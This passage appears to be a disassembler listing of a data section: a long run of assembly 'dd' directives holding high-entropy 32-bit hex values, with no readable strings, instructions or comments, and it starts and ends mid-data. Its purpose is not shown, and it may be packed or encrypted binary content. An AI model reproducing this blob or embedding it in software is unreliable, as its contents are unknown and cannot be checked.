497D23A6h dd 0B692802h, 91B31F57h, 0CDD48017h, 0D653115Dh, 5BB6D0CAh dd 0E81368BFh, 0D9EA54F2h, 0EDB82E60h, 901227FCh, 2201A1C8h dd 2AFB9965h, 0B51822Fh, 5852EB2Eh, 4B42906Eh, 0AC24BB60h dd 13F5E3EFh, 2B49559Dh, 0D7CDD56Ah, 7FAD82E0h, 53A31886h dd 13F5596Ah, 0CAF00B83h, 0DA5B18BCh, 13641E78h, 955F176h dd 18985FEh, 5849BD56h, 9DD0EC2h, 5049B390h, 3D701DC4h dd 0B78D990Fh, 0F605F6C3h, 77012E81h, 2B5FBB66h, 464D0CA5h dd 0EEC6AC2h, 825C2DE9h, 0D53D42EBh, 0D175E33Ah, 828CF867h dd 651456F8h, 48ADDFFFh, 0DBFA983Eh, 4E087D28h, 906EAFD1h dd 0F8133D00h, 18C5823Fh dd 0E9625862h, 71585C01h, 0E037377Ah, 4C4173h, 1B06C538h dd 8B67B48Eh, 26AF917h, 0BC00506Fh, 5FE6362Bh, 0BB2875D4h dd 0F317EB90h, 5388508Bh, 0DB4F03FDh, 60AA89Fh, 0F0B9F1D8h dd 0BBCCC000h, 5C94B12Eh, 1904975Fh, 0A2AD5221h, 9BE9A698h dd 893C795h, 0FC1DBCD4h, 44ABF7C1h, 0DB304EA3h, 9D2BEB41h dd 0AB9A2E59h, 8A4EBEC0h, 5725321Bh, 0DFF4C3F9h, 4A50F452h dd 8461B7ECh, 0A8534D8Dh, 60C58074h, 2858F4h, 5467DABBh dd 4E331F03h, 6A40A52Eh, 73A28212h, 66278021h, 0DF8C432h dd 87BAB9CDh, 25A49D03h, 0CD9782Dh, 0A0304F3h, 4B7D70CFh dd 41A38D61h, 2909A1FCh, 0A87880ECh, 1DEE6B2Dh, 0C27FEFAFh dd 1CDE30EAh, 0F6C14E92h, 6A5F10E5h, 2CF698FFh, 42E11C25h dd 48F30D49h, 342F16D1h, 88B6ADF2h, 0FE0B993Eh, 87B00308h dd 20590BBFh, 6070E6FBh, 15B51A03h, 0F7E83922h, 0D90084F2h dd 0E723F0D2h, 1EC6EB4h, 0FBA50BDDh, 3C71E461h, 0D47080D8h dd 53EC24h, 0C207E36h, 17E6FEA6h, 265A711Eh, 0E9799084h dd 0F022DAB9h, 307E90B7h, 0D6720Ch, 0D0E3AEBCh, 80FE38BFh dd 0E0132EEDh, 212BD1B1h, 44F560DDh, 0EC2012FDh, 7685808Bh dd 17B947F0h, 4B1417Eh, 0BF31C11Ah, 172B0BB5h, 0F73580E3h dd 0B00BFE2h, 2B08FB09h, 259D33C8h, 5E723111h, 51E1B181h dd 3C93E998h, 2EA186DCh, 8852927h, 0FA0B8F9h, 518D8909h dd 11D67331h, 0D12C50FBh, 0E32E5Ah, 6C538972h, 6CE939D6h dd 0CFF83A13h, 8DC6FE06h, 0EEF603FFh, 443CCC13h, 0DD023A30h dd 516900B1h, 0D2AA53E0h, 9500BFA3h, 177D8FA0h, 3229ED6Eh dd 5FA965BDh, 2344F15Ch, 71F68A49h, 0A594DE1Fh, 0F8FE3237h dd 0BB33FE1Dh, 12317C50h, 0E2167DB5h, 3C3484F0h, 0E90A1616h dd 0FF6DE9A3h, 0BCEB81C0h, 2E4B8AD5h, 0C001F28Dh, 0B900210Dh dd 6F9F0FB5h, 0F01E42C1h, 0CD2F0B5Eh, 6454C377h, 1D0C0E0h dd 3F39B524h, 0B70FFC81h, 0B7F62BDFh, 0A8D28086h, 1D149AA7h dd 0BA54B914h, 0BF5180B8h, 25A27620h, 0CECD5B48h, 4172CDA5h dd 2B7D98DEh, 0FCB01924h, 0A2A90499h, 0AAE15873h, 5FCA8304h dd 9DE0AAF6h, 0C902E7DEh, 0B8C8C1C4h, 90255003h, 889E4B03h dd 4A4FB7DDh, 0D380E131h, 0E9B25CDEh, 565299DBh, 1C905CA9h dd 42B7BDh, 9C56ED9Bh, 0A5256AC4h, 1183C524h, 7892E72h dd 0F7DF1518h, 811297E9h, 2ED80E41h, 503A5465h, 71041C23h dd 34EE27F5h, 0A90BBA60h, 0E181053Ah, 2E886EAAh, 2C12DDBAh dd 0FA0212B2h, 9B593D2h, 0AD173E0h, 5BA31C97h, 67E31170h dd 310066ACh, 0ED030293h, 4B9639EEh, 17BF8AFCh, 0E39E0459h dd 102BD680h, 4E4CF65Dh, 1C6112E0h, 0EF88E0E3h, 2AC126B1h dd 95D18C04h, 0C9045679h, 3D104B1Bh, 0F9B0BBACh, 0CBB605Fh dd 162FCB79h, 807FDB15h, 3BA1C6Dh, 255920BDh, 0E2CEB725h dd 0B1375501h, 0AC1E3700h, 97FF8A4Ah, 2348FF24h, 0F7B9DCB7h dd 48C18ACh, 72FCF771h, 0FC1CFF1Ah, 0A5FAC525h, 0A6007AB5h dd 0FDE1CB1h, 62DBBE87h, 9005056Dh, 0A238D6A5h, 0FBF5BD80h dd 3316137Eh, 0E75666E2h, 2390D7C0h, 975279Dh, 0CF007E3Fh dd 809EE5ACh, 8A404B43h, 0BCBB02EAh, 756656C6h, 4758330Eh dd 3FF15F52h, 0CBB27E12h, 1C116D40h, 92B00397h, 2E130DBh dd 8109DD52h, 37585FBFh, 91B894Ah, 0AB017884h, 4B8D382Ch dd 0F939C1Dh, 0A4CC2FEDh, 0D3E912DFh, 0A21EA701h, 7FA426Bh dd 0B8708E6Bh, 16665864h, 0ECA7E9BBh, 9AC94A54h, 0F2B86D29h dd 8501AC1Eh, 6B90ED6h, 4AA5E8D2h, 0F14EBFCBh, 0BAD5D253h dd 810FB7D0h, 1BF72625h, 89BFD4E9h, 83CA0295h, 4AB54C67h dd 0F446D951h, 1822675h, 2B65BD84h, 0F994242Eh, 15B8D1h dd 9034EA84h, 8B60379Fh, 9661CF17h, 99A11702h, 7851F350h dd 4F278707h, 0AF4782E5h, 1BB5578Bh, 0B2801A91h, 9A08DD03h dd 6805A290h, 6A5B0E5Ah, 0C04A61B8h, 440DA5D3h, 359856F4h dd 5BDAD554h, 75BA1297h, 0AC70A8F3h, 8F400CCBh, 0E15C721Dh dd 9D501440h, 0FB383187h, 24045202h, 85809AB7h, 89A3EBEAh dd 0BFA54E8Dh, 14698E27h, 707BBBCCh, 33049C73h, 61F529B5h dd 6592381h, 2185B217h, 0B5259E57h, 9C0F1805h, 52009A96h dd 0A8921E05h, 72F267h, 0B7869B60h, 0BB19D812h, 0F753A527h dd 5B5FBF10h, 6E121497h, 8FC91F26h, 47740B92h, 77BC0340h dd 0F7891610h, 8D1AA084h, 125B2B40h, 0C821E9F5h, 2EFB69F1h dd 0ADA5D93Bh, 4833B8EBh, 8D13D790h, 5645359h, 461C7D5h dd 0CD2A85D4h, 5B8535DEh, 7501C149h, 4B90AE66h, 0E5F92506h dd 0FCD2101Bh, 0E1038C1Bh, 71234FCh, 5CAF8A22h, 667F4996h dd 0A2360023h, 0EB21C78Ah, 6E489D10h, 5E8DB325h, 9406E8Bh dd 82B1104Fh, 5EFDC7D3h, 77706BA1h, 15380341h, 0C8829A5Fh dd 0F808C515h, 2A19C0CAh, 1CD476C1h, 4015BDD2h, 45BE3C3Dh dd 3BF3899Ah, 59B81312h, 0A66AFBA4h, 4074E12h, 0AE2EADF8h dd 25575273h, 1E79D9DEh, 50F2F349h, 8D983ED1h, 0FF587225h dd 3CF51A20h, 1500F136h, 9673E031h, 444BF50h, 893D5FCEh dd 0E1E6EB34h, 21D70AE2h, 35DB5C2h, 0FC5712Ah, 0EC443B80h dd 74AFC5B7h, 0A8EBE90Eh, 607B012Eh, 958B88B1h, 42092AEDh dd 0D6017461h, 0A3001A46h, 9E541493h, 5EBE8561h, 64DE0840h dd 34492436h, 1A7D08F6h, 0FBB3C2A5h, 0FF37D0BEh, 757CF104h dd 78811573h, 0DB2B2455h, 0C01CC820h, 79CC5EFEh, 0CE3CED04h dd 29C1CFAFh, 892B15D9h, 0D61B38E8h, 8E08804h, 6E5FBDBCh dd 11DE0710h, 0F364F0E6h, 0A64EB9BCh, 0F179E080h, 0F7F84AD6h dd 0AC74492Ah, 4BFC9F6Fh, 95098543h, 8B127EBDh, 4BCCF3D8h dd 956A578Ch, 0F5E2FA4Dh, 27B85933h, 0D1502D45h, 0A44C01ADh dd 0C08060D7h, 0A7857EDDh, 16AC14F9h, 0D374178Ch, 0E5770C8Fh dd 8E9996AFh, 61AFC080h, 0FA0AA4h, 27D4A184h, 0A3B6F159h dd 7760E9BEh, 6C6BBBh, 0EB45899Eh, 1B86A754h, 65460E00h dd 60CAFCAFh, 715B7351h, 965F1961h, 6E813466h, 18C8C89Ah dd 3DCE3AC0h, 89710467h, 0AA0E959Dh, 14C8AFDBh, 8BF53BC0h dd 9E9497FEh, 823E3245h, 0FBF19601h, 3015003Bh, 84030BD3h dd 316500C8h, 5D34FDD0h, 577C80F2h, 432AF027h, 0CB044B5Dh dd 9606406Dh, 2790FC55h, 754CE16Ah, 41694CCh, 0DF80098Eh dd 0E3DDAA68h, 0FFA86A3Dh, 153F0114h, 16249450h, 9CBD04F9h dd 39C2BAD3h, 0FAA7D061h, 6620ED69h, 97C67BC9h, 3A45A494h dd 4AC9C130h, 6106F721h, 0A7D3F748h, 6F4C122Fh, 11DA0056h dd 9B8E58AAh, 0C5094AB7h, 5C7BAE2Dh, 0A003043h, 8D6EF7A3h dd 861CE946h, 942FFF2h, 5E1AC1BDh, 71DB696Eh, 138C7150h dd 7F18273h, 990A0560h, 0C401776h, 0EC6922h, 9A8A7766h dd 0AF730799h, 0D9DD1A0Fh, 7DF75219h, 81FC9A5Eh, 1DA68D4Eh dd 4AB7BCD4h, 0DB7ED4F8h, 0CDBED384h, 7422382h, 0A5C16BDEh dd 585E32C0h, 6EF304E2h, 0E8B7D4B1h, 0E8E617DDh, 5A4B30BDh dd 0C249100Fh, 12EE0616h, 0B618CDF8h, 0C060F22Ch, 970971CEh dd 9D8B7790h, 0C982BD4Bh, 0B9BF9890h, 2B8D00C5h, 0CB65DAE1h dd 53005FBBh, 6331D63Bh, 0F150868Fh, 125A8130h, 0E6905BD0h dd 0FEDCE0B8h, 1345705Ch, 0BE60EBD1h, 0E3066CDh, 0FCA9B430h dd 0EF7AE401h, 19D2F850h, 4F751F70h, 9238DF09h, 0B9964FFCh dd 8C1AAC53h, 54FA3A01h dd 0D8513194h, 409D202Eh, 2F00FBA4h, 0AE71E3C5h, 988687Eh dd 0BB9BA3CEh, 5BA504D3h, 0F64350B0h, 0B10076FEh, 533BF60h dd 2C8B65B3h, 0AD40398Dh, 0D9938770h, 18F00778h, 0A50E44Eh dd 0AE136EBBh, 1A24418h, 60FCA789h, 0A005C663h, 9787AD7h dd 26A5EC0h, 48DC3B54h, 0D1102094h, 0CF801D02h, 44EB896Dh dd 14A7729h, 0F0FC3D55h, 6103B5ADh, 8026685Ch, 975C901Bh dd 0CBA0B5A4h, 3D8C78BFh, 0B79F6A7Dh, 4BDE003Ch, 0CBA69315h dd 81D9822Eh, 35355552h, 42A9F1A5h, 9C5799E9h, 0CE02169Ah dd 49A7A18h, 65B03582h, 0DBE03FF6h, 0B52789A3h, 7B2009FDh dd 80CDAF65h, 0A384EC40h, 0BD230849h, 252A25E1h, 907B540Dh dd 0D9610260h, 405EB83Eh, 98093EE2h, 0CD904F1Eh, 3EBCE50h dd 2BE9158Fh, 60520774h, 972F59F9h, 0BA48074Fh, 0D0F647E0h dd 0BD0B1708h, 6BB5A18Dh, 9A3BEF9Dh, 0F1B781A1h, 0AEF81AA4h dd 3BC4139Bh, 24E80131h, 3BFF6A7Eh, 0A0012D6Eh, 0EA3EC897h dd 0EA914576h, 8B85275Fh, 0B6C15BD9h, 7A2A2319h, 0F8820F09h dd 0F8F0C974h, 8A0E4EB1h, 0EBB47E93h, 11D4142h, 0C2B032B3h dd 0FE40F774h, 0C01150h, 87548BE7h, 2A6ECAB2h, 0B52F29F6h dd 0C6352C5h, 71E470E6h, 0E6B5114Fh, 41BB45D3h, 2E08F940h dd 0C06A4E89h, 0BAAED40Eh, 0B7D217F5h, 0BF99E0D9h, 0EDCB13B3h dd 815CA071h, 0FD53EF09h, 5DA65766h, 0BF00442Bh, 0D18B70FEh dd 65E9EBB3h, 0BCFC4B83h, 2E6B80B2h, 0D047E1h, 78B4A933h dd 19A60174h, 4C2C090Eh, 3D8572B5h, 0BC5F34AFh, 0C380085Eh dd 1DE0B1E9h, 5E323A2Dh, 0E9F92119h, 6D0DAC45h, 3E32A960h dd 0CCEA00ACh, 47CEA425h, 4D2782F7h, 9668461Ah, 48E425D4h dd 10D02053h, 0D94B2C65h, 77047E49h, 0E3C43E17h, 5E495D1Ah dd 4BE8CE45h, 70C27B2Fh, 0DC163476h, 5A0F8C5h, 4C02830Eh dd 0C591FBFh, 0CD92E063h, 0BFE5B51Ch, 508C7BA7h, 0FF3B82A9h dd 0FAE50112h, 0FF8B9F5h, 0ED5D8748h, 36FCE111h, 0D7A2F14Fh dd 5EBFA570h, 617AA0D8h, 140469Fh, 0A84B5B4h, 0F110B0DAh dd 66092BEDh, 76595Fh, 9D955A06h, 0CA1D2D01h, 7AA78D89h dd 0C02B264Ch, 9400DE3Ah, 0E20B0CAh, 1993C07Dh, 7EF9CEA3h dd 78243AD9h, 73F6F212h, 0A555B6D2h, 5F8FB2AEh, 3FE05CB6h dd 9AD23294h, 0D84059F2h, 2D7BF135h, 496A2B3Eh, 49DC9802h dd 7A74F562h, 21846D6h, 0C658F205h, 27175DCEh, 401D4DA7h dd 2921409Dh, 77FC3FE9h, 717DCA4Bh, 70DA8B88h, 78EFBFB8h dd 0F0808367h, 0E8A88Dh, 813ECCD5h, 2E5DC2DBh, 9C9D434Eh dd 0C1A8D73Dh, 0F689FA24h, 922AF108h, 7386FE1h, 2FB6D54Ah dd 95096E60h, 32479735h, 5F03FB89h, 0CB0140BDh, 0E9CCEE76h dd 50E64CA7h, 391A512Bh, 0DD210110h, 6E181CF9h, 722BE800h dd 6ABA805Fh, 4E1ABA5Bh, 21978A60h, 818D0472h, 0B7600B29h dd 216782F4h, 0BF783E8Bh, 42A44327h, 845EB786h, 0E8110EACh dd 29F65A7Eh, 5B0E96E0h, 38289F09h, 447FD2B1h, 55B26040h dd 45B53319h, 743A61FBh, 0A031E687h, 9E6A774h, 1C4E783Eh dd 90A583D1h, 0C8351Ch, 0F9F8FD2Ch, 10097572h, 0C671EB02h dd 432B84C5h, 908514D2h, 0E25A1BE8h, 7AB00E2h, 6367BFA5h dd 0D911725h, 0B836310Eh, 4B90C0FEh, 27A6F701h, 26FB7DCBh dd 0E50E8CCh, 5F1B3EDBh, 5DCCBBB3h, 9C7212BBh, 0E1C9C590h dd 309E7BB0h, 9D006D94h, 0C571088Ah, 6803D935h, 957BB0B6h dd 16AEE40Fh, 2CF56212h, 111727Fh, 0DE1D8333h, 3EBC9867h dd 4900A5FCh, 316AA353h, 9BF898Dh, 0D61B5EF0h, 0E1271446h dd 4BF7D46h, 0E9022C76h, 6F550187h, 0D04F41A4h, 0B83420CBh dd 40B0F077h, 35224924h, 0B7779066h, 0E92B2884h, 8531C25Ah dd 25FDDE6Dh, 0BF0459E6h, 5F244A28h, 0E9D258E9h, 0FB1A872h dd 8FD1DC80h, 880F9CAh, 891A2A9Dh, 57EDC204h, 64252A45h dd 526F00E0h, 45D513C8h, 8018EF2Fh, 0BD9AD3F3h, 881C4E61h dd 0EB3D8163h, 2E138177h, 0E8605696h, 0E5806978h, 186BE7E0h dd 87C4E00h, 168EEDA3h, 0ADE800D0h, 0F2CEA99Dh, 0E2008A5Eh dd 0BB505B61h, 25C8F3FDh, 0F85B9676h, 1EF7D70h, 1B1CDCDDh dd 68119D09h, 67CD4BECh, 0C562DC6Bh, 90683040h, 0E1882475h dd 0ADB9824Fh, 0B7DD1E96h, 0A9FA0344h, 5FA0C78Dh, 34134498h dd 6CA1F5DAh, 0C0C6DE6Bh, 70987BA5h, 95292753h, 0FFC90ADDh dd 0B4DDCE25h, 0D7A83CABh, 157D2DCEh, 0BD0472F3h, 5E14266Dh dd 11059D09h, 0FE228D1h, 2630758Eh, 330BB308h, 743049BDh dd 3B2D7133h, 74E889EDh, 453E7D02h, 740DB71Ah, 0B529401Ah dd 768730ADh, 699D8904h, 0B3FE1423h, 756300E1h, 5B94CF0h dd 61250073h, 48E02042h, 2EE8165Eh, 0C031C858h, 22C57A3h dd 8F6A01D6h, 0D1B7DBA7h, 7BB9DC50h, 43F29497h, 0F06A5F20h dd 0ECF9221Fh, 75486041h, 3400ECD7h, 407D8E02h, 0F8442CC1h dd 7F220992h, 1167525h, 0F776DE69h, 2EE0184Dh, 93A612Dh dd 1244CE63h, 0D64A5309h, 165970FBh, 0BA258618h, 9FD0EEB0h dd 9A015235h, 0FEB70F5Ah, 0AE24122Fh, 0AB12127Bh, 5BE5F7F8h dd 3E006F6Ah, 0B6EE40E4h, 81005532h, 539899DBh, 9851964Dh dd 0ED5FE6B5h, 8DECB6A5h, 73C90997h, 33B5AFB5h, 92983D00h dd 0AA4E512h, 0B5B76F8Eh, 0D94FA58Fh, 0E6F25361h, 7E3050CDh dd 8105E309h, 2F0D0775h, 10BDAA74h, 434B6DA8h, 14C89FDAh dd 60EF2AC4h, 919D3165h, 0F27AE9Ah, 8CBAD58Ch, 85630EFEh dd 7D6E84Ah, 5AC10026h, 61240A96h, 5197C283h, 0EB9E02h dd 0B1B96020h, 0D37E2E0Dh, 4309D6E8h, 781F79FEh, 51095CA2h dd 0B913845Bh, 89AD289h, 7DEC0E81h, 7D602FE6h, 9F6ADAB7h dd 61E0034Dh, 9371362h, 0DF7B52A8h, 6C9568D8h, 0C8EB04C9h dd 0AB5B9255h, 3BBBBCD8h, 7627A577h, 97B74462h, 8202E080h dd 5C589C2Ah, 0C948D1C0h, 32736269h, 36181C59h, 5116A100h dd 963EDCF7h, 0FB0F4ED6h, 5DBF7B40h, 971C64D7h, 6E603B99h dd 0C8A11720h, 97372C98h, 35C102BBh, 2D5E61AAh, 81153951h dd 531F9D2h, 1DECF612h, 0CDC8FA93h, 0EC650145h, 27C9D8A2h dd 15A120F4h, 0E98B97Fh, 1A0BE928h, 6255C903h, 809E657Fh dd 94A3F70h, 0B9953196h, 9209AA42h, 5FF0D5FBh, 395309C5h dd 8A1B5A41h, 3548DDE0h, 0D600EE79h, 0C95BD03Fh, 160A6730h dd 0BD02C8DBh, 0C8BD8E82h, 700B2D2Fh, 355D4BC2h, 80199145h dd 0C5B557A2h, 0C2B05031h, 86C225EFh, 4439F87Bh, 0A6170525h dd 838F5F47h, 9F4A1956h, 3EC8F9E2h, 0DD9D0382h, 0E9555E08h dd 0DC815Eh, 0EF120C2Ch, 0B0BB8E38h, 0D1852909h, 40C55E10h dd 20ED381h, 148767F0h, 530EF53h, 0B0E95F35h, 29CDE095h dd 0C89259Dh, 19E440E7h, 299CD160h, 0CA593E14h, 57916D5h dd 4F098AEBh, 2553FFBh, 8A25BD22h, 0A7295EFAh, 0D0706773h dd 0A976090Ch, 2B052B91h, 343FAF24h, 76031423h, 4A75B529h dd 0D29120E9h, 12004EB6h, 85998849h, 55C344h, 0B07DBEA4h dd 0D535693Dh, 81A2175Fh, 0A4665B00h, 86BFFE91h, 7768E30Bh dd 9A778DCCh, 93B4ED6Ah, 0AD038294h, 0FD18DE2Ah, 75C0C5DBh dd 42BFDA23h, 0A5685E38h, 58A1E0C2h, 858909EAh, 0B5571965h dd 801B11A3h, 141FCE6Ch, 53190080h, 5690BF0Dh, 0A5907C7Eh dd 5F0B0920h, 60842050h, 0BA00A708h, 7DD66F27h, 12C0EAD8h dd 5C9ADE86h, 0C1B5C900h dd 0CBDB5929h, 38A545D1h, 0C2A50BF1h, 0C4F3D540h, 0B7CCE6D1h dd 0BD5F4E77h, 8C17AC11h, 34157202h, 4DD1FFB5h, 5897E19Dh dd 0E8C27BF5h, 1A1C5D14h, 18F2C043h, 2568AC30h, 4B567A16h dd 6AF2A802h, 0CFB75D02h, 0D6B7FA00h, 9DFD8AD5h, 0FCA56571h dd 243FE004h, 0EC147629h, 22D2C2C5h, 0E7B90013h, 0CD8D7FFAh dd 1A00B17Ch, 64826CCFh, 0E086CADAh, 0FCFE4A48h, 0F5B0971h dd 408A5C31h, 9CACB84Bh, 0B2103A0Bh, 132FFC6Dh, 6BF290h dd 0ABAD3650h, 7841C17h, 6C31FD3h, 0C40500F9h, 8F4A4E7Dh dd 4FCE96F0h, 2DAC043Fh, 582CBA2Bh, 71E6B7FBh, 0E9D1B709h dd 71607429h, 27F22134h, 86B0A09Fh, 518CC54Eh, 0D9A4890Ah dd 66D82B1Bh, 41CF0125h, 1207C290h, 75E4F408h, 17DA4B12h dd 16AC92E9h, 6B18138Ch, 2C73F1EBh, 0E0F88096h, 61E6B0h dd 2A3F103Dh, 36AB86B7h, 88696607h, 0FA69C9B9h, 0EDFEAA7Fh dd 685AC047h, 4A7C1F84h, 799EF225h, 20A105ABh, 1C93C009h dd 1F04EB46h, 532419ABh, 0EC9044BDh, 0B838A04h, 0D644BC40h dd 847D9BABh, 3CBDF3C4h, 801BDAD3h, 0F16C7455h, 0FF6A27F8h dd 0E1070AB7h, 0E3E0A725h, 5CDDDB62h, 992DAF37h, 0FB24F3FAh dd 1115757h, 0F65FFC12h, 1D2E3011h, 25F98B53h, 26E4315Bh dd 57B8B070h, 1025A520h, 56670E6h, 71E491A6h, 9EA29BC4h dd 37EAD980h, 647B27F9h, 62537803h, 0A88C51DDh, 970F6A56h dd 0EBEF1BA4h, 1AD0A9Ch, 1795F45Bh, 0F0222656h, 1BB0D070h dd 4B1ADD20h, 8B2CC15Bh, 29202FFAh, 814DDF80h, 61DA7060h dd 5ED21141h, 0DB80042Ch, 8129BC7Fh, 498D2956h, 0B75FA624h dd 0E8D1A122h, 2CFE6480h, 0E300155Bh, 2DC3B01h, 69304A6h dd 41A2F767h, 9122446Dh, 87E93307h, 11E1093Bh, 70216A31h dd 98921B53h, 0FED2C804h, 463E8B97h, 0ED3ADD7Fh, 25FCE02Fh dd 150D41E9h, 52E9A781h, 9D0B0F85h, 4B43E841h, 9901358Dh dd 0F62A16EDh, 43722D7h, 71BD8956h, 7B5B090Ch, 52BF013Ah dd 47A18B0h, 0C0FE5914h, 0FEC78155h, 7D480015h, 0FAB15CAAh dd 3F1CF519h, 0A549DFF9h, 84F7B47h, 467C5BE1h, 3F93481Ch dd 0D3100194h, 6ADFE46Bh, 0C0BDDB3Bh, 9F08C831h, 0F3E3173Fh dd 0EFE630F9h, 6400D857h, 40FD0478h, 45F6341h, 69B5094Bh dd 3B9BAE2Eh, 0E1CE1BC8h, 99F52B91h, 609EF12Eh, 244049A6h dd 10CF38B9h, 0C0099B4Ah, 0B9B7D35Ch, 0D76A008Eh, 57BF90FBh dd 619734B1h, 9B2AFC83h, 0B8D99773h, 2089B29Dh, 0FC5FE195h dd 0CBB88C7Dh, 8B0B7874h, 8034E562h, 2BCE5644h, 84954A9Dh dd 0A897AD8Fh, 57138C15h, 3CE3BA14h, 0A23015F2h, 0C151BEC9h dd 6E23E19Dh, 0DA4E11DFh, 0BEB4801Bh, 4FD5E50Dh, 0AFBFC807h dd 3F4F0109h, 0C8DB0F53h, 0B5D5AD19h, 6DD3840Bh, 8183E80Dh dd 0ED4EEBC7h, 603CC86Ah, 0C802EB9h, 8B849439h, 7ADC0393h dd 0D60656B7h, 0CC801798h, 5B61C613h, 0BE5D06A2h, 0DB97E8B8h dd 3D18873h, 0F8139424h, 0FC2505A3h, 3363E6E5h, 7719CA9Dh dd 7540FCCFh, 0B8BD71D0h, 159120BAh, 17BF6609h, 47F17957h dd 0BDD70955h, 451102CDh, 774458A3h, 0DCF7D49Fh, 0D7436513h dd 284C02A3h, 0BF10D51Ah, 4E8B15C0h, 0E5E1FF25h, 42F39C2h dd 0DDD271F3h, 0CF0254D1h, 0C10CA72Ah, 9DA1543h, 350D1B02h dd 0EC71C75Eh, 0E98D3110h, 3CB3344Bh, 0B7ADA388h, 84550926h dd 2DE47474h, 0EDA494BEh, 0E3B8B832h, 6EC1172Fh, 1AEF09F2h dd 94C1789Dh, 8503409Ch, 0ED002396h, 333C200Eh, 126DE5D5h dd 0F4BDA13Fh, 14A5DB3h, 94A0D5A7h, 460B50FDh, 5C196DC7h dd 0BCE140F9h, 221CC9ADh, 0CAC95F04h, 0A5D97BFEh, 370511B5h dd 0A2BB8A94h, 7D4B0088h, 0B8E0707Bh, 2DC0EE6Bh, 63DB2BD1h dd 0E8191759h, 0CBA0DD33h, 9004F88Bh, 6050DA8Ah, 0D85F2BCh dd 47328039h, 0D90E941Ch, 0A2768102h, 7D38897Bh, 0BA66EB00h dd 90EC5B3Dh, 0DF2B7B5h, 3A3A0C0Dh, 849C2h, 0B8852568h dd 3A20B75Ah, 1C7EF6CDh, 8006C6E0h, 612B0D5Ch, 0E6012188h dd 518D3B80h, 0A32BA99Ch, 0DD8A132Eh, 8CAC7384h, 667EDA04h dd 0E5F4F648h, 98D4DC9Ch, 2B252579h, 0D16265D9h, 0E9121412h dd 1298016Ch, 80ED0075h, 0BF6ED938h, 970051B6h, 0A3260943h dd 25E740B3h, 0D0E2870Bh, 605CEF75h, 0B177BBF3h, 0FEA60E5Bh dd 4B35EE50h, 29EBDC05h, 104B9D77h, 893744B7h, 0BD2CE4E1h dd 0A1BBCAC4h, 0E27FA00Bh, 31B55C85h, 3150FF0Ch, 0A0822829h dd 745EE2C5h, 0CBD60008h, 55E1EC52h, 0E50217CAh, 89EDB797h dd 0E4CD5734h, 0C048DCE9h, 1CA5BD29h, 62ABBA97h, 9F237782h dd 0DAB00F68h, 9849B3DCh, 0A6F0041Bh, 0D8EE2344h, 0EB848D75h dd 88EADA6Eh, 4D0CC019h, 0EB078474h, 0A1A5BF75h, 0C7826B24h dd 3EB14056h, 0FC595CBCh, 0BEDAC038h, 0FFE63F16h, 1B9A3CE0h dd 126E2201h, 0DAC255A9h, 2FC5D571h, 0E3D8C04h, 2ACB39h dd 0D1D015B6h, 9377219Bh, 13511675h, 21F5F55Dh, 0BA9B3A03h dd 1982AB8Bh, 0E15EB7D9h, 3FE78158h, 2AA5F36Eh, 0CD27D6EFh dd 1DAF43E3h, 0F2257EA6h, 3BD6E444h, 1621BD0Bh, 0F810A7DDh dd 3700DD80h, 78162642h, 126C73F6h, 0F66625E6h, 3CA5E037h dd 3B429FC6h, 9A53D75Ch, 0ABBDD504h, 87C41700h, 24FF71A2h dd 1772E44Bh, 1360E821h, 0D0A30639h, 0EF03C984h, 0D701E97Ah dd 6D85018Eh, 7B26A1Bh, 0A86F1692h, 0DABD4AECh, 18C14B8h dd 0B9BF52EAh, 2E3B8E83h, 9B8C54A0h, 610BF016h, 8418E87Dh dd 0E5AE60BBh, 0B9668021h, 61CF6C12h, 0B65EC4F7h, 0D8D0A3D7h dd 474392Ch, 0E7C47750h, 0A7C9EA01h, 75B5302Ah, 0ED00DBB5h dd 0E301FB96h, 9ABB82CDh, 7AACA0DBh, 66959538h, 18BD6740h dd 6B9000E0h, 0DCE9D381h, 0D39572A5h, 181D59BBh, 1EA1006Eh dd 0F891F696h, 0A34C069Dh, 38974EFh, 0A33BC5E9h, 0BB6B9674h dd 0F2319705h, 0FCBE2ECh, 81990A3Dh, 0ED9450FBh, 4B79BD60h dd 4CB6A706h, 1C2512D5h, 0FAD294E9h, 9C538C16h, 5AAF6BEEh dd 0CA65DA61h, 41090760h, 0DE172E11h, 2D7CDA6Eh, 4579F999h dd 553DC400h, 0BB13CBEh, 0AC4C15DAh, 99724D0h, 0AD2137F9h dd 9A975F4Eh, 8B84DD16h, 867781DEh, 4DB72BB8h, 0A4707FB0h dd 0E5076B02h, 609A9447h, 5BDEBF80h, 7454556Ah, 0F1210E93h dd 0EDFC2F10h, 631464DBh, 0FF6425CDh, 791D24D0h, 82B450C9h dd 5AA03C35h, 5F054029h, 640B4D97h, 0E3376016h, 9D2B096Bh dd 1C5D0649h, 8023444Ah, 0A479C730h, 5CD4B6BFh, 38C0F650h dd 97DD20B5h, 0ABA71F09h, 743BDDC1h, 0DAB7D013h, 1DB25FA6h dd 9FC130h, 0A294EF7Eh, 91CE8630h, 0B73C69Dh, 1475B509h dd 9EF01657h, 0BD14D49Fh, 965BF50Ah, 91BAFD2h, 63288DD5h dd 69C15EEAh, 0A7703C7Bh, 21C01CFBh, 0D0E565AEh, 0D482A11h dd 0F71B4D12h, 27884AD0h, 0F2A00002h, 89A344E5h, 0FF005A90h dd 712F27FAh, 7DAA1042h, 5AB77F51h, 0A6F1B95Fh, 23F92068h dd 0E229E925h, 4B755BAh, 13E4DF00h, 0EDE11631h, 13D2B928h dd 4C32A94Bh, 12C12ED3h, 7B037909h, 815680C2h, 4EF66CBh dd 5C5B5125h, 0AED8133Dh, 7B316830h, 5DD200B4h, 211A2B30h dd 75008540h, 0E74E0502h, 561DC679h, 29B06390h, 3AFE5F96h dd 90D282Fh, 0DE697CC2h, 901C47Dh, 0BA0FFE61h, 0F5731AFFh dd 42F4E45Bh, 9EB7B200h, 583849E2h, 8FD6B5ECh, 46058E48h dd 2FA118EEh, 8C6E13DDh dd 7F00BB60h, 536050B1h, 968BB35Bh, 0AA70A731h, 6A5DC6F6h dd 0CCFCE9F1h, 0D79E0192h, 8BDB354Fh, 690F30FAh, 90601732h dd 8E3D5B29h, 0E20FE6Eh, 0CB756473h, 0A1B72B05h, 0FADE6A61h dd 0AB8CA885h, 95F975D8h, 1B648AEDh, 0B911DB60h, 0F835D026h dd 0D1FF7404h, 0C70059F2h, 0E4403A6Ch, 95017F52h, 0F83CB7E0h dd 0F3D43D9Eh, 618613ADh, 1121E85Dh, 0B7712425h, 0FC047C4Dh dd 0B5F6026Ah, 8CA420E3h, 0F807BA81h, 0BEF3327Ch, 2C47ED30h dd 0CF8500D2h, 